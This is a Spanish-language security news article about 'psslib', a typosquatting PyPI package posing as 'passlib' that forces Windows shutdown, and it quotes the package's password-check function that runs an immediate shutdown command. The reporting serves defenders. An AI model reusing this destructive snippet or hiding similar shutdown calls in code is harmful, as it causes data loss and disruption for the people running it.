Se ha identificado un paquete malicioso en el Índice de Paquetes de Python (PyPI), denominado «psslib», que se hace pasar por una biblioteca legítima de seguridad de contraseñas. Este paquete está diseñado para atacar específicamente a desarrolladores que utilizan sistemas operativos Windows.
El ataque se basa en la confusión tipográfica (typosquatting), aprovechando la similitud del nombre «psslib» con la popular y ampliamente utilizada biblioteca «passlib». «Passlib» es descargada más de 8.9 millones de veces al mes por desarrolladores que implementan sistemas de autenticación seguros.
El paquete «psslib» tiene un comportamiento destructivo: provoca el apagado inmediato del sistema de los usuarios de Windows al detectar el ingreso de contraseñas incorrectas. Se recomienda a los desarrolladores verificar cuidadosamente el nombre de las bibliotecas que instalan para evitar este tipo de amenazas.
El malware demuestra un enfoque particularmente insidioso al explotar la confianza de los desarrolladores en paquetes centrados en la seguridad.
A diferencia de los ataques tradicionales a la cadena de suministro que operan de forma encubierta para robar datos o establecer persistencia, este paquete prioriza la interrupción inmediata sobre las operaciones sigilosas.
Publicado por el actor de amenazas identificado como «umaraq», el paquete se anuncia falsamente como una solución de seguridad que «protegerá su programa Python» y al mismo tiempo contiene código destructivo diseñado para causar daños inmediatos al sistema.
Los investigadores de Socket.dev identificaron el paquete malicioso a través de sus sistemas de escaneo impulsados por IA, que señalaron el comportamiento destructivo de apagado del sistema como anómalo para una supuesta biblioteca de seguridad.
El paquete permanece activo en PyPI a pesar de las peticiones formales para su eliminación, lo que continúa planteando riesgos para los desarrolladores desprevenidos que pueden instalar accidentalmente la versión con errores tipográficos durante la gestión de dependencia de rutina.
El ataque se dirige específicamente a los entornos de desarrollo de Windows, donde los desarrolladores de Python suelen poseer privilegios elevados del sistema necesarios para las tareas de automatización y desarrollo de aplicaciones.
Cuando estos desarrolladores integran el paquete malicioso en sus flujos de trabajo, la carga útil destructiva obtiene el acceso a nivel del sistema necesario para ejecutar comandos de apagado inmediato, lo que podría causar pérdida de datos e interrupción del flujo de trabajo en todos los equipos de desarrollo.
El paquete psslib implementa su carga útil destructiva a través de funciones Python aparentemente simples que aprovechan la biblioteca easygui para la interacción del usuario y el módulo os para los comandos del sistema.
El principal vector de ataque se centra en una función de verificación de contraseña que activa inmediatamente el cierre de Windows cuando los usuarios proporcionan credenciales incorrectas:
import os import easygui def spc(password): if easygui.enterbox('enter password:-') != password: os.system("shutdown /s /t 1") # Shutdown in 1 second
Más allá del cierre activado por contraseña, el paquete incluye funciones adicionales diseñadas para ampliar los vectores de ataque.
La función «src()» permite el apagado directo del sistema sin ningún requisito de autenticación, mientras que la función «error()» combina la visualización de mensajes de error con la ejecución de apagado forzado.
Estos múltiples vectores de ataque garantizan que la carga útil maliciosa pueda ejecutarse independientemente de cómo los desarrolladores integren el paquete en sus aplicaciones, maximizando el potencial de interrupción del sistema en varios escenarios de implementación.